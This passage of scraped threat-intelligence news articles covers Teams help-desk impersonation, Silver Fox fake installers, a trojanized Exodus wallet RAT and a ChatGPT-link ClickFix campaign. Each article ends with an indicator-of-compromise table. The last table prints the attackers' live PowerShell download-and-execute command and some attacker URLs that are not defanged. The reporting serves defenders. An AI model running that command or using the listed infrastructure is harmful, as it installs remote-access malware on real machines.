SHA-256	e8bc706b0b007d6a122c6b19e87451e550baee793540774db13b9a08803ed76a	Malware sample hash
SHA-256	f32dfbe4a2c11a975d735297bf76f6497ce9f5789ab8eaaef3fdd182c2f1f7b1	Malware sample hash
SHA-256	c59ebe5cf45935c7b5f91b5936fe2c8a5feb7ca161e40ca4e3fb93e447373fa6	Malware sample hash
SHA-256	3537bfeaf2c18feafeaf773700a88118fd50979d97f2c42c7e34ba6c9aa62820	Malware sample hash
SHA-256	2949f0b16b83b35dc8a3dfa11815b9516403e3997e13100e7b86f3bb81f6c283	Malware sample hash
SHA-256	0e7c96a22e3612c68866a8693cc583df95972d3444978ce163c024a45682133a	Malware sample hash
SHA-256	7d9f5eb3f704607e6f63681842f48071cc58f2f2e63b16b64a49440cb4b9e6e3	Malware sample hash
SHA-256	8a64d368ce14c5a1f5e775714bcc02f080d0541360743bb4235e0d640f1787b1	Malware sample hash
SHA-256	36cf87fe2e29cc8b0fd84fce91d70e62a4c4d2fc5f9650dc37440d629ae61b8f	Malware sample hash
SHA-256	090e886e5605255ad5708e1f27aecc54319de835abd28853e54182981410707e	Malware sample hash
SHA-256	fa7d8c44a0ecb5ec40832d0d2cfe22c47879317177eae88d178e156f1c8d61a3	Malware sample hash
SHA-256	d948b486c740b66642a5ae29dc1cb80da703ad40296bcda34a1b27216b63a5cd	Malware sample hash
SHA-256	612fe3a3ace706725aa5415a1cd1cf18548627b4b40636c5443cb770def30b4c	Malware sample hash
SHA-256	96488c59287889fcd3b9952ec78b78914fabb901c8b61a7354552439170ed148	Malware sample hash
Domain	rb[.]aliyuntsl[.]com	Command-and-control or campaign infrastructure
Domain	br[.]team-c2[.]com	Command-and-control or campaign infrastructure
Domain	hwlocal[.]team-hw[.]com	Command-and-control or campaign infrastructure
Domain	br[.]team-hw[.]com	Command-and-control or campaign infrastructure
Domain	data[.]mirrors-inc[.]com	Command-and-control or campaign infrastructure
Domain	team-hw[.]com	Command-and-control or campaign infrastructure
Domain	update[.]team-c2[.]com	Command-and-control or campaign infrastructure
Domain	devops[.]aliyuntsl[.]com	Command-and-control or campaign infrastructure
Domain	bageyi[.]kernel-lib[.]com	Command-and-control or campaign infrastructure
Domain	8yiu[.]kernel-lib[.]com	Command-and-control or campaign infrastructure
Domain	dnslog[.]kernel-lib[.]com	Command-and-control or campaign infrastructure
Domain	js[.]ai-jquery[.]com	Command-and-control or campaign infrastructure
Domain	api[.]onlinevrgame[.]com	Command-and-control or campaign infrastructure
Domain	file[.]ijjjst23m[.]com	Command-and-control or campaign infrastructure
Domain	kerneltty[.]com	Command-and-control or campaign infrastructure
Domain	80[.]443[.]team	Command-and-control or campaign infrastructure
Domain	up[.]443[.]team	Command-and-control or campaign infrastructure
Domain	404[.]443[.]team	Command-and-control or campaign infrastructure
Domain	data[.]windows-update-cdn[.]com	Command-and-control or campaign infrastructure
Domain	microsoft-azure-loadbalance[.]com	Command-and-control or campaign infrastructure
Domain	update[.]aliyun[.]la	Command-and-control or campaign infrastructure
Domain	api[.]gitlab[.]bet	Command-and-control or campaign infrastructure
Domain	github[.]la	Lookalike campaign domain
Domain	update[.]opentls2[.]com	Command-and-control or campaign infrastructure
IP Address	154[.]84[.]62[.]160	Campaign infrastructure
IP Address	154[.]84[.]62[.]128	Campaign infrastructure
IP Address	154[.]84[.]62[.]149	Campaign infrastructure
IP Address	154[.]84[.]62[.]145	Campaign infrastructure
IP Address	15[.]228[.]251[.]82	Campaign infrastructure
IP Address	56[.]124[.]87[.]60	Campaign infrastructure
IP Address	18[.]229[.]255[.]14	Campaign infrastructure
IP Address	18[.]166[.]208[.]57	Campaign infrastructure
IP Address	18[.]228[.]136[.]28	Campaign infrastructure
IP Address	43[.]198[.]248[.]193	Campaign infrastructure
IP Address	43[.]199[.]133[.]195	Campaign infrastructure
IP Address	18[.]166[.]243[.]179	Campaign infrastructure
IP Address	18[.]164[.]116[.]24	Campaign infrastructure
IP Address	13[.]203[.]9[.]172	Campaign infrastructure
IP Address	43[.]198[.]30[.]170	Campaign infrastructure
IP Address	18[.]162[.]210[.]53	Campaign infrastructure
IP Address	56[.]125[.]218[.]234	Campaign infrastructure
IP Address	18[.]228[.]195[.]216	Campaign infrastructure
IP Address	56[.]124[.]49[.]89	Campaign infrastructure
IP Address	54[.]207[.]196[.]189	Campaign infrastructure
IP Address	165[.]22[.]101[.]200	Campaign infrastructure
IP Address	172[.]80[.]8[.]202	Campaign infrastructure
IP Address	104[.]206[.]37[.]134	Campaign infrastructure
IP Address	108[.]187[.]28[.]158	Campaign infrastructure
IP Address	202[.]146[.]222[.]18	Campaign infrastructure
IP Address	192[.]253[.]229[.]23	Campaign infrastructure
IP Address	16[.]162[.]255[.]92	Campaign infrastructure
IP Address	13[.]250[.]18[.]158	Campaign infrastructure
IP Address	18[.]163[.]182[.]231	Campaign infrastructure
IP Address	204[.]16[.]172[.]106	Campaign infrastructure

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Malicious Apache Modules Turn Trusted Government Websites Into Stealth Phishing Proxies appeared first on Cyber Security News.

Cybercriminals are posing as IT technicians on Microsoft Teams and persuading employees to hand over control of their Windows computers.

The campaign turns a familiar support conversation into a direct path for installing malware, leaving the intruder able to work on the victim’s device as if sitting in front of it.

The attack begins through external Teams contact, where an operator builds trust and asks the target to open Windows Quick Assist.

Once the user approves the session, the attacker can download and launch a harmful installer, bypassing the need to exploit a software flaw or steal a password first.

Unit 42 analysts identified the activity as a fake help-desk operation that combines social engineering, remote-control abuse and a hidden command channel.

Unit 42 said in a report shared with Cyber Security News (CSN) that the method ultimately gives operators interactive access for reconnaissance and possible follow-on theft or network intrusion. The campaign matters because it abuses tools and services many organizations already allow.

A convincing Teams message, a built-in remote assistance feature and traffic routed through cloud infrastructure can make the activity look less suspicious than a conventional malware delivery attempt, while placing a critical security decision in the hands of one employee.

Hackers Pose as IT Support on Microsoft Teams

The callers impersonate an IT technician and use Teams external access to reach targets. They direct the employee to Quick Assist, a native Windows utility intended for legitimate support, and seek approval for a remote session.

Similar Teams support call compromises show why an unexpected request for remote help must be verified through a known internal channel, not through the caller’s instructions.

After gaining control, the operator retrieves an MSI installer from an attacker-controlled Amazon S3 location and runs it with Windows Installer.

The package can use a name that resembles a routine update, then places a legitimate signed application alongside a harmful supporting file. This approach is part of a wider pattern of malware delivery through Teams, where trusted workplace platforms are used to lower a victim’s guard.

When the legitimate program opens, it loads the nearby malicious DLL rather than the normal Windows copy. Known as DLL sideloading, this lets the harmful code operate under the appearance of a signed application.

The DLL makes an encrypted connection to an AWS API Gateway endpoint, an example of how attackers can hide command traffic within ordinary cloud service activity.

Hidden Shell Evades Detection

The sideloaded DLL does not itself provide the attacker with the final command prompt. Instead, it uses Windows Management Instrumentation, or WMI, to start a separate reverse-shell program.

That separation weakens simple process-tree checks because the malicious shell is not launched directly by the signed loader, a tactic also seen in recent DLL sideloading campaigns.

The shell listens only on the infected computer’s local address and exchanges data with the DLL, which retains the outside connection.

It then opens a hidden command prompt that attackers use to check the logged-in user, network settings, domain accounts and device registration.

The group can also inspect cloud-synced document folders, creating an immediate risk to business data and identity information.

Defenders should restrict or closely monitor Teams contact from untrusted external accounts, and make clear that IT staff will not request Quick Assist access through unsolicited chats or calls.

Organizations should review whether Quick Assist is necessary, train employees to independently confirm support requests, and investigate unusual remote sessions promptly.

Guidance from Microsoft Teams vishing attacks reinforces that a request to start remote-support software deserves the same caution as a suspicious attachment.

Security teams should watch for signed applications loading unsigned DLLs from their own folders, unexpected WMI-spawned processes and unusual local listeners.

They should also examine outbound encrypted connections from trusted programs to execute-api endpoints, especially where a child process begins system discovery.

Correlating those signs with recent external Teams contact and Quick Assist activity can expose the operation during early stages of the compromise.

Indicators of Compromise (IoCs):-

Type	Indicator	Description
Domain	0q8jnro0za.execute-api.us-east-1.amazonaws[.]com	AWS API Gateway command-and-control endpoint
Domain	qqcy5av2o2.execute-api.us-east-1.amazonaws[.]com	AWS API Gateway command-and-control endpoint
Domain	l9iprxgup2.execute-api.us-east-1.amazonaws[.]com	AWS API Gateway command-and-control endpoint
Domain	9stbnu0f0a.execute-api.us-east-1.amazonaws[.]com	AWS API Gateway command-and-control endpoint
Domain	software-download-usw1.s3.us-west-1.amazonaws[.]com	Attacker-controlled S3 payload host
URL	hxxps[:]//software-download-usw1.s3.us-west-1.amazonaws[.]com/SE15724BW.msi	Malicious MSI download
SHA-256	878567e4b6f4552f8f56f300c3a2af0fe9c7935686ee0e34ef5f632c81baa579	Trojanized Kodi MSI installer
SHA-256	1423084a8aaa721627f9674fd4ba3679b27acdc7992001b91adb41f0457756b5	Trojanized Kodi MSI installer
SHA-256	0112620b7fd940846bac876a9f8a148a7435d34fe0b596edf165325a81efb5b3	Malicious vcruntime140.dll variant
SHA-256	6b5a6817d6fce0348ac1f4ef38298b57a00c8a8c3f3ca39335ca06a7b861f1d0	Malicious vcruntime140_1.dll variant
SHA-256	3759aaaea1e9f6228e2701c415882f38ceb3e03b211e82600a6f31c68a4370ba	Malicious vcruntime140.dll variant
SHA-256	c1bbbac9f501712db13f276d88a17277284e3684b690b33abd3508ef56064860	Malicious zlib1.dll variant
SHA-256	74fdbe5d2a8b68a145cc79f75432fa8dd4dc71383040873929fca5f8a4f9229a	Malicious zlib1.dll variant
SHA-256	26e3f1359ed228d9d4931b853f1bfc768c2ca22cb28b96c29380c040940c3a1f	Malicious zlib1.dll variant
SHA-256	25b4cb9b9ff68487af37fb86b16b6e335d862821fa3749f860933c35013de509	File Transfer.exe custom reverse-shell agent
SHA-256	7499df565f74bd9d0ad69b1363217d57a65db7a9d4693e6e387b3841458477d7	SupportHost.exe custom reverse-shell agent
SHA-256	c44af51e75b2023376cf7fa2735d72f1c433d9dc58163dc298690731c80bc7f9	Module Agent.exe custom reverse-shell agent
SHA-256	fef16f362aa405ab83fe7e7f34948c3b062df9d0701eb883f7834301562fe0ae	kodi.exe binary abused for sideloading
SHA-256	55bc7d960205ae3265a1bab47bbfa36a774dfe8e8eb4a80c2b78f625e758ba02	salamand.exe binary abused for sideloading
SHA-256	Ff5ee21e81a38b959d2f4cd275dbf7a778dc72fd0becfdde80ef3f619d0f8b8b	filezilla.exe binary abused for sideloading
File name	SE15724BW.msi	Malicious MSI installer
File name	KB5094126.msi	Malicious MSI installer
File name	vcruntime140.dll	Malicious sideloaded DLL
File name	vcruntime140_1.dll	Malicious sideloaded DLL
File name	zlib1.dll	Malicious sideloaded DLL
File name	File Transfer.exe	Custom reverse-shell agent
File name	Module Agent.exe	Custom reverse-shell agent
File name	SupportHost.exe	Custom reverse-shell agent
File name	salamand.lnk	Startup-folder persistence shortcut
Network listener	127.0.0.1:9001	Local TCP relay listener used to bridge command traffic
Mutex	Global\\ConsoleMutex	Mutex used by the reverse-shell agent

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Prevent incidents due to slow investigations. Power your Tier 1 with threat intelligence from 15K SOCs: Integrate TI Lookup in your SOC

The post Hackers Pose as IT Support on Microsoft Teams to Take Remote Control of Windows PCs appeared first on Cyber Security News.

Silver Fox-linked hackers are using counterfeit software installers to break into Windows systems and weaken the protections meant to stop them.

The campaign relies on convincing download pages that copy well-known software brands and offer a seemingly legitimate file. The operation has affected healthcare, manufacturing, gaming, technology, logistics, government, and education organizations.

Most observed victims were linked to China-based operations or Chinese-speaking users, but the lure can cross industry boundaries.

Microsoft analysts identified the activity as consistent, with moderate confidence, with the publicly reported Silver Fox, also known as Yinhu, fake-software campaign.

It has not attributed the activity to a nation-state actor, but said the malware establishes a foothold, lowers defenses, and contacts attacker-controlled servers.

Microsoft said in a report shared with Cyber Security News (CSN). The report underlines a simple risk: a routine-looking download from a cloned vendor page can become a full endpoint compromise.

Silver Fox-Linked Hackers Use Fake Software Installers

The attack begins on look-alike websites that imitate vendors such as Razer, Microsoft Edge, Kaspersky, Sejda PDF, and other popular tools.

After a visitor selects Download now, the site supplies a ZIP archive whose filename remains unchanged while its contents and hash change with every request.

That per-download rebuilding makes simple file-name blocking less reliable. In one observed case, two different copies of the same archive appeared within about 69 seconds.

The pattern resembles other fake installer malware campaigns, where familiar branding makes a dangerous first click feel ordinary.

Opening the archive launches a wrapper that places an executable in a randomly named directory, including locations under Users\Public, ProgramData, or Program Files (x86).

A second path uses Windows Installer, or msiexec.exe, so malicious code runs through a trusted Windows component while the user believes an installation is proceeding.

The payloads then create scheduled tasks with harmless-sounding names, including Deadline Mission Target and Hierarchy Tools Smooth Inventory.

This restarts code about every 60 seconds, showing why Windows scheduled task abuse remains a useful persistence technique for intruders.

More seriously, the malware creates a short-lived task running as SYSTEM, Windows’ highest local privilege, to add broad Microsoft Defender exclusions.

It also uses PowerShell to exclude folders, writes a malicious code-integrity policy, and may inject code into another program, reducing the chance that security tools inspect the files involved.

Recovery and detection priorities

The campaign does not stop at avoiding antivirus checks. Researchers observed commands that delete volume shadow copies, making recovery harder, and actions that stop or disable Windows Update services.

The attackers also harden their directories against removal and communicate with control servers over unusual ports before further activity.

Microsoft reported automated containment alongside hands-on-keyboard activity and attempted SMB movement.

A device may be contained, yet scheduled tasks and other persistence still need full removal by an incident responder.

Organizations should restrict downloads to verified vendor sources and treat brand look-alike pages, especially unexpected ZIP installers, as suspicious.

Web and email controls should block the identified delivery routes, while teams should review download referrers, new executables in writable folders, unusual msiexec activity, and recently created scheduled tasks.

Administrators should keep tamper protection and network protection enabled, then alert on Defender exclusion changes, shadow-copy deletion, and attempts to disable update services.

The lesson echoes fake Claude application attacks, in which a deceptive application also tried to reduce Defender visibility before expanding access. Behavior is more durable than a filename because archive names, paths, and some hashes rotate.

Security teams can hunt for the stable file hashes and network indicators below, but should prioritize the sequence of a spoofed-page download, randomly staged executable, SYSTEM task creation, defense tampering, and recurring execution.

For end users, leave a questionable installer unopened, obtain the program from its official publisher, and report the page to IT or security staff.

For defenders, prompt isolation and a review of affected accounts, tasks, exclusions, and network connections can prevent a fake download from becoming a deeper breach.

Indicators of Compromise (IoCs):-

Type	Indicator	Description
Lure domain	pc-razerzone[.]com[.]cn	Spoofed Razer download site
Lure domain	app-microsoft-edge[.]com[.]cn	Spoofed Microsoft Edge download site
Lure domain	kaspersky-lab[.]hl[.]cn	Spoofed Kaspersky download site
Lure domain	sejda[.]hl[.]cn	Spoofed Sejda PDF download site
Lure domain	translate-youdao[.]hl[.]cn	Spoofed NetEase Youdao download site
Lure domain	zh-diskgenius[.]com[.]cn	Spoofed DiskGenius download site
Lure domain	baidu-pan[.]com[.]cn	Spoofed Baidu Netdisk download site
Lure domain	ocam-pc[.]com[.]cn	Spoofed oCam Screen Recorder download site
Lure domain	cn-drawio[.]com[.]cn	Spoofed draw.io download site
Lure domain	steelseries-cn[.]com[.]cn	Spoofed SteelSeries download site
Lure domain	gw-sogou[.]com[.]cn	Spoofed Sogou download site
Lure domain	calibre-ebook[.]com[.]cn	Spoofed Calibre download site
Lure domain	mindmoster[.]com[.]cn	MindMaster typosquatting domain
Delivery URL	hxxps://www[.]gehie246[.]com/712down	Malicious installer delivery endpoint
Delivery URL	hxxps://yimxg25tiy[.]com/73inst	Rotating malicious installer delivery endpoint
Delivery URL	hxxps://cc8ttkv35b[.]com/7qinst	Rotating malicious installer delivery endpoint
Delivery URL	hxxps://n7b8t85zsg[.]com/ins711	Rotating malicious installer delivery endpoint
Cloud staging URL	hxxps://newopt001[.]oss-cn-hongkong[.]aliyuncs[.]com/innstll.1.0.61.zip	Attacker-controlled cloud-hosted ZIP payload
Cloud staging domain	upitem[.]oss-cn-hangzhou[.]aliyuncs[.]com	Observed cloud object-storage staging host
C2 domain	iualef[.]net	Command-and-control domain
C2 domain	oijfwe[.]net	Command-and-control domain
C2 domain	euioxu[.]net	Command-and-control domain
C2 domain	czijbh[.]net	Command-and-control domain
C2 domain	wfmwsj[.]net	Command-and-control domain
C2 domain	tbdqxq[.]net	Command-and-control domain
C2 endpoint	202.95.14[.]237:5090	Primary observed command-and-control endpoint
C2 endpoint	103.183.3[.]162:5090	Observed command-and-control endpoint
C2 endpoint	103.156.25[.]35:7031	Observed command-and-control endpoint
C2 endpoint	47.239.232[.]245:8050	Observed command-and-control endpoint
C2 endpoint	47.243.218[.]255:28300	Observed command-and-control endpoint
C2 IP address	161.248.87[.]157	Command-and-control IP listed in hunting guidance
SHA-256	676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7	Stable stage-one payload
SHA-256	6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8	Later-stage payload
SHA-256	c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf	Networking payload
SHA-256	1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17	Persistent payload associated with process injection
SHA-256	c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf	TrueUpdate-based persistent loader
SHA-256	f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b	Persistent and networking payload
SHA-256	e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3	Supporting malicious DLL

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Silver Fox-Linked Hackers Use Fake Software Installers to Disable Microsoft Defender and Compromise Windows Systems appeared first on Cyber Security News.

Cybercriminals have been caught using a tampered installer for the Exodus cryptocurrency wallet to plant a full remote access trojan. The program looks close enough to the real wallet, but it is designed so its window never appears.

The campaign reached victims through disguised files. One route used a fake PDF ending in .pdf.js, while another hid a JavaScript file in a ZIP archive. Opening the lure displayed a real decoy document while silently installing the altered wallet.

Researchers at Huntress identified the activity across four unrelated protected organizations between late July and mid-August 2026. Three compromises occurred within 85 minutes, showing how quickly the operation could be reused against targets.

The risk goes well beyond stolen coins. The hidden payload can take browser passwords and cookies, run commands, move files, provide remote desktop access, and turn a compromised computer into a proxy. That combination can support account takeover, surveillance, and deeper movement inside a network.

Huntress said in a report shared with Cyber Security News (CSN) that the campaign used a genuine Exodus 24.33.4 application as cover.

It resembles recent cases in which a fake Claude app malware campaign hid data theft inside a trusted-looking desktop program.

Hackers Hide a Full Remote Access Trojan

The malicious MSI installs nearly the entire legitimate wallet, but changes only three of its 1,973 bundled files. Its metadata calls the package “Background Service” from “Apple Inc,” even though those details are false.

The unsigned installer also drew no detections from 76 VirusTotal engines when Huntress analysed it. One altered script prevents the wallet from showing, focusing, or centering a window.

A second modified file acts as a loader, decrypting a 10 MB Windows payload into memory. This leaves victims with no visible wallet interface, while a real-looking Exodus process runs.

The payload is modular. Its components offer remote commands, file browsing and transfer, browser credential and cookie theft, a SOCKS proxy, hidden VNC access, and script execution.

Similar capabilities appeared in the ChonkyChicken browser theft campaign, showing how browser data can enable account takeover.

Rather than relying only on a conventional attacker server, the malware was observed using Azure Table Storage for tasking and results.

The report says it can also use WebSockets and includes dozens of configured lookalike hosts, although those additional hosts were not contacted in testing.

Persistence and response

The installer places the altered wallet in a per-user AppData location and starts it through explorer.exe, making the activity appear more like a user launch.

It then creates an ExdBackupTool scheduled task through Windows Task Scheduler interfaces, restarting Exodus.exe every hour. An INetHealth task clears the user’s proxy settings and refreshes Windows internet configuration.

That behavior can force its traffic to bypass a corporate proxy. It is a useful reminder that attackers increasingly combine stealth with familiar software, as seen in malicious browser extension campaign reports targeting credentials and wallet data.

Organizations should treat an affected device as a full interactive compromise, not a simple malware alert. Investigators should isolate the host, review other user profiles, and remove both the malicious directory and scheduled tasks.

Saved passwords, browser cookies, and active sessions should be considered exposed. Session tokens can remain usable after a password reset, so defenders should revoke sessions and rotate credentials from a clean device.

Users should enable visible file extensions and avoid opening downloaded JavaScript files disguised as documents. Teams should also alert on Windows Script Host launched from download folders, Electron programs running without a window, and software launched from AppData through explorer.exe.

Disabling the WebClient service where WebDAV is unnecessary can limit the search-ms delivery route. These safeguards complement fake crypto wallet screens that steal wallet and browser data.

The indicators are listed in the table below. Rapid containment matters because attackers may already have interactive access and stolen session data. They should be used alongside behavioral checks, because the attackers can rebuild installers and change hashes quickly.

Indicators of compromise (IoCs):-

Type	Indicator	Description
Installer file	jn0101.msi	Fake Exodus Backup Tool installer
SHA-256	c513a7346484ee69a2931c4a89956ee50aa63e4366ef989315e669d8f10d7485	Hash of the unsigned malicious installer
SHA-256	8c3b41ea5a85778145a6e5772bfee2eb0f8b027d0af199fb71a76dfb8bb29e5a	Hash of the decrypted memory-resident RAT payload
File	app.asar	Trojanized Exodus 24.33.4 application bundle
File	debug.log	Attacker build artifact that references C:\123\exodusUpdater
File path	%TEMP%\<guid>.tmp.node	koffi foreign-function module extracted at runtime
Package	@intelcorp/wmi-native-module	NPM scope impersonating Intel, used for host reconnaissance
Module and SHA-256	Dll4_fileman.dll fdd376562aac4be64fb635546a61e1912ff2c353360db73d2c553dcbb5a44f54	RAT file manager module
Module and SHA-256	Dll4_socks.dll 2f47cfbb13f7a8a2d30d287f4ddd974fabea6762ad9781d438eb53da41b4582d	RAT SOCKS proxy module
Module and SHA-256	Dll4_cmd.dll 84437d4239d2a3d90c4faad0a3c0630b2f61a40f7bbd12109bef74d7613b8756	RAT remote command module
Module and SHA-256	Dll4_script.dll 5274e93e35586a341d14b50cdf8413d59c51fd94f32bdc70bfdfb77198367603	RAT Lua script-execution module
Module and SHA-256	Dll4_browser.dll 7e74f6e2eb7a17a8d25bb322a14c392c9d92c6ab29fc66b50221da134a1bdba8	Browser password, cookie, and extension theft module
Module and SHA-256	Dll4_vnc.dll 5fe753945da0eaac2c2ef3845cba603dea6c3e8529fa581d7e0192f8af60391a	Hidden VNC remote-control module
MSI ProductCode	{4046AD2B-3831-4011-AEAD-D98C5C9FD1EF}	ProductCode associated with the malicious MSI
MSI UpgradeCode	{C4A1D8F2-3E5B-4C72-9A6D-1B8F0E27A3C9}	UpgradeCode present in reversed GUID form under the Installer registry key
Installer metadata	DisplayName: Background Service Publisher: Apple Inc	False installer identity
Mutex	ExodusHelper	Named mutex used as a single-instance guard
Scheduled task	INetHealth	Clears ProxyEnable, ProxyServer, and AutoConfigURL to maintain direct C2 access
Scheduled task	ExdBackupTool	Relaunches Exodus.exe from %APPDATA% every hour
MSI artifact	C:\Windows\Installer\SourceHash{4046AD2B-3831-4011-AEAD-D98C5C9FD1EF}	MSI source-hash file that can remain after directory removal
Runtime artifact	Exodus.exe running from %APPDATA%, parented by explorer.exe, with no visible window	Runtime indicator of the altered Exodus application
IP address	35[.]212[.]159[.]20	Hosted the MSI and resolved the delivery domain
Domain	us05[.]org	Redirected visitors to a search-ms: URI
WebDAV path	\\us05[.]org@8080\update	Remote share presented through a Windows Search Results window
URL	35[.]212[.]159[.]20/jn0101.msi	MSI download location used by the JavaScript dropper
C2 domain	lgapistorage123[.]table[.]core[.]windows[.]net	Observed Azure Table Storage dead-drop channel, using table ftable434
C2 domain	winapi[.]table[.]core[.]windows[.]net	Additional Azure Table Storage account in the malware configuration
Configured C2 hosts	api.27inbarbadostours[.]com api.504guaratv[.]com api.b2compages[.]com api.elcaminodesermadre[.]com api.ideasnation[.]net api.jyfgarriga[.]com api.onemkscleaningsolutions[.]com api.rezperfect[.]com api.shopfoora[.]com api.shuyinla[.]com	Hosts configured in the RAT but not contacted during detonation
Configured C2 hosts	app.bcntextilrep[.]com app.conviertenoensi[.]com app.geutex[.]com app.micheladafestelpaso[.]com app.rtpsenior4djp[.]com app.sentiented[.]com app.shuchipharmacy[.]com app.springstore[.]net app.stateyatra[.]com	Hosts configured in the RAT but not contacted during detonation
Configured C2 hosts	auth.SecureSwallow[.]com auth.SpeakToWinClients[.]com auth.auravp3[.]com auth.clubvp3[.]com auth.esalesrep[.]net auth.h-dsf1034[.]com auth.nailedbynakole[.]com auth.shuchimed[.]com	Hosts configured in the RAT but not contacted during detonation
Configured C2 hosts	cdn.ShinoZen[.]com cdn.SpeakToGrowBiz[.]com cdn.baraldes[.]com cdn.cobraporganardinero[.]com cdn.estudiod2[.]com cdn.jiyaoglass[.]com cdn.planningportfolioweek[.]org cdn.snsafirieik[.]com cdn.yenoox[.]com	Hosts configured in the RAT but not contacted during detonation
Configured C2 hosts	static.AriesGlobalSoft[.]com static.TryTheCrowdMakers[.]com static.TurboLeadSlab[.]com static.cistecca360[.]com static.emialvarez[.]com static.gompl-rggsrve[.]com static.metodorace[.]com static.premios-king[.]com static.suplenation[.]com	Hosts configured in the RAT but not contacted during detonation

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Prevent incidents due to slow investigations. Power your Tier 1 with threat intelligence from 15K SOCs: Integrate TI Lookup in your SOC

The post Hackers Hide a Full Remote Access Trojan Inside a Real Exodus Crypto Wallet appeared first on Cyber Security News.

Windows users are being targeted through a malicious campaign that turns a ChatGPT shared link into the step of a malware infection.

Rather than breaking into the AI platform, the operators place a deceptive message inside a shared conversation and rely on victims to follow its instructions.

The page claims that traffic is too high and directs visitors to a supposed backup site. That destination uses a fake human-verification screen and tells people to open the Windows Run dialog, paste a command, and press Enter.

The action quietly starts a PowerShell-based download chain outside the browser. JOERverser analysts identified the activity as a malicious ClickFix operation, while stressing that the legitimate ChatGPT domain was not compromised.

The abuse lies in user-controlled shared content, a reminder that a trusted web address cannot by itself prove that every instruction shown on a page is safe.

Joe Reverser said in a report shared with Cyber Security News (CSN) that the campaign can expose a victim’s computer details, public IP address, location, internet provider, time zone, Windows version, and administrator status.

It retrieves a concealed software bundle that includes a NetSupport remote-control client, creating the risk of follow-on monitoring or unauthorized access.

Hackers Abuse Real ChatGPT Links

The attackers begin with an authentic ChatGPT sharing URL, a format that can look reassuring when delivered in an ad, search result, message, or email.

The shared page displays an availability warning and a link to an unrelated site presented as a backup destination. There was no observed automatic redirect, so the victim must click onward.

This detail matters because the tactic borrows credibility from a real service without needing to compromise its infrastructure.

A report on fake OpenAI Codex download pages shows how attackers pair well-known AI branding with ClickFix prompts to push users toward manual command execution.

At the next stage, the landing page combines OpenAI-themed wording with Cloudflare-style verification and a claim involving Google. Its button copies a PowerShell command to the clipboard.

The instructions then guide the user through Win+R, Ctrl+V, and Enter, a familiar ClickFix sequence described in coverage of Windows Run dialog attacks.

The approach is effective because the browser does not have to download a suspicious file directly. Instead, the victim launches the command through a built-in Windows feature.

That human step can reduce the warning signs people expect from conventional phishing, even though the verification request has no legitimate reason to require Run or PowerShell.

Hidden Loader Collects Data

The copied command fetches a remote script and evaluates it. The script hides its console window, checks computer names associated with analysis environments, and launches additional PowerShell stages with execution-policy bypass settings.

A decoded stage sends collected device and network information to a Telegram chat before downloading what appears to be an MP4 video.

The video is valid as a media file, but it also holds an encrypted and compressed PowerShell bundle in a custom data area. That concealment reflects the broader risk explored in Cloudflare themed ClickFix campaigns.

Researchers recovered 20 embedded files from the bundle, including a signed NetSupport client and supporting components.

Dual-use remote administration software can be legitimate in normal settings, but its delivery through clipboard poisoning, hidden scripts, system profiling, and cleanup behavior makes this deployment malicious. The loader also clears the Windows Run history to reduce visible traces.

Users should treat any website that asks them to open Run, Terminal, Command Prompt, or PowerShell to prove they are human as malicious.

Close the page instead of following keyboard instructions, inspect pasted content before running it, and alert security teams if a command was executed.

Organizations can block the listed infrastructure and investigate the relevant hashes, a precaution reinforced by reporting on fake browser update malware.

Indicators of compromise (IoCs):-

Type	Indicator	Description
Initial lure URL	https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8?gad_source=1&gad_campaignid=24099424548&gbraid=0AAAABEYrb1R9FV_puc090W7fCw9EgqHXr&gclid=CjwKCAjwy5rUBhB5EiwAIoAtCt0ElCUp9KixnPoAmexDzPVBvBhgFtyU1LU7_zKvTAsElOB3HQrESRoCSmQQAvD_BwE	Submitted ChatGPT shared-conversation lure URL
Shared-content URL	https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8	Legitimate shared-page path abused to display the lure
Shared-page identifier	t_6a80bc61c434819190c3eae5932307e8	Identifier for the submitted ChatGPT conversation
Landing-page domain	openai-backup.one	Fake backup domain used for the ClickFix page
Landing-page URL	https://openai-backup.one/	Final observed browser destination
IPv4 address	138.124.123.8	Point-in-time resolved address for openai-backup.one
Payload-delivery domain	brmconfig.com	Host used to deliver the PowerShell loader and MP4 carrier
Loader URL	https://brmconfig.com	Remote PowerShell loader location
Payload-carrier URL	https://brmconfig.com/video.mp4	MP4 file containing the encrypted PowerShell bundle
IPv4 address	91.92.240.175	Point-in-time resolved address for brmconfig.com
Clipboard command	powershell -C "IEX(irm 'brmconfig.com')"; exit	Command copied by the fake verification page
File name	video.mp4	MP4 carrier used to conceal the encrypted payload
SHA-256	28e36f00ecd31de79455c0ecf11bb1c6481f4d35d26ba5e2c60e5a55f784cbec	Hash of the downloaded MP4 carrier
MD5	4a05f41fa3ab441ac14effeb6253bd77	MD5 hash of the downloaded MP4 carrier
File name	app.EXe	Extracted NetSupport remote-control client
SHA-256	56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422	Hash of extracted app.EXe
MD5	0e660f7e5a6621a9185a7b8080364500	MD5 hash of extracted app.EXe
File name	REMcmdsTUB.exE	Secondary extracted executable
